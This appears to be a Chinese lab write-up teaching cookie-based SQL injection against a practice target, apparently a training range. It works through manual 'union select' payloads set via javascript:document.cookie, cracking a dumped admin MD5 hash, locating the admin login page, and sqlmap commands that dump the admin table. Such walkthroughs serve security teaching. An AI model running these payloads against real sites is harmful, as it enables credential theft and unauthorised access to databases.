cookie注入
一、学习目的：
- 利用手工注入网站
- 利用sqlmab注入
二、附件说明
- 靶场网址：http://120.203.13.75:8001/shownews.asp
- 工具sqlmap下载：https://download.csdn.net/download/qq_41803637/10911556
- sqlmap使用说明：https://www.cnblogs.com/ichunqiu/p/5805108.html
三、手工注入
1、判断有无注入点
代码1
http://120.203.13.75:8001/shownews.asp?id=171 and 1=1
实践1
说明：无法判断是否可以使用sql注入，改为使用cookie注入【当然你也可以头铁的继续试SQL注入】
随机点开一个页面，可以查看到，该页面的id为171
返回到主页
http://120.203.13.75:8001/shownews.asp
效果显示
说明：页面访问不正常，则说明该参数id是访问页面所必需的的参数，可以尝试继续注入。
添加代码2
javascript:alert(document.cookie="id="+escape("171"));
实践2
注意这里默认会被屏蔽掉：javascript:，自己打一下
回车显示
返回刷新原来的网页
- 说明：发现页面正常显示了，到此可以证明，我们正在接受的页面存在request方法获取参数，可能存在cookie注入的风险
2、猜测注入点的数量（判断字段数的数量）
- 代码
关键词：order by 注入点数量
javascript:alert(document.cookie="id="+escape("171 order by 1"));
说明：
"order by 1"表示注入点的数量，可以从100开始每一次减半减半的猜
- 实践.
- 说明：回车刷新原网页（http://120.203.13.75:8001/shownews.asp），说明注入点判断错误,注入点不为11
- 说明：回车刷新原网页（http://120.203.13.75:8001/shownews.asp），说明注入点判断成功，注入点不为10
3、猜测数据表
- 代码：此处我们猜测存在admin数据表：【这一步，目前只知道如果为手工，只能自己猜测数据表，不能如sql注入一样爆出来，以后如果知道则补上】
javascript:alert(document.cookie="id="+escape("171 union select 1,2,3,4,5,6,7,8,9,10 from admin"));
说明：
- 前面测出有几个注入点，就在select后面输入从1到n的几个数
- admin为我们猜测的表
- 实践：
- 说明：回车刷新原网页，知道了会显示字段为2，3，7，8，9
4、根据表和列得到具体值
- 代码
javascript:alert(document.cookie="id="+escape("171 union select 1,password,username,4,5,6,7,8,9,10 from admin"));
//这里的字段需要自己判断
- 实践
- 说明：用户名：admin，密码的MD5码：b9a2a2b5dffb918c
5、MD5码转变为明码
- 网址：https://www.cmd5.com/
- 结果：
- 说明：密码：welcome
6、查找后台
- 软件：御剑
- 软件下载地址：https://download.csdn.net/download/qq_41803637/10911612
- 结果
- 说明：后台网址为：http://120.203.13.75:8001/admin/login.asp
四、sqlmap注入
1、cookie注入，猜解表
win : python sqlmap.py -u "http://120.203.13.75:8001/shownews.asp" --cookie "id=171" --table --level 2
2、猜解字段，(通过1的表猜解字段，假如表为admin)
win :python sqlmap.py -u "http://120.203.13.75:8001/shownews.asp" --cookie "id=171" --columns -T admin --level 2
3、猜解内容
win :python sqlmap.py -u "http://120.203.13.75:8001/shownews.asp" --cookie "id=17" --dump -T admin -C "username,password" --level 2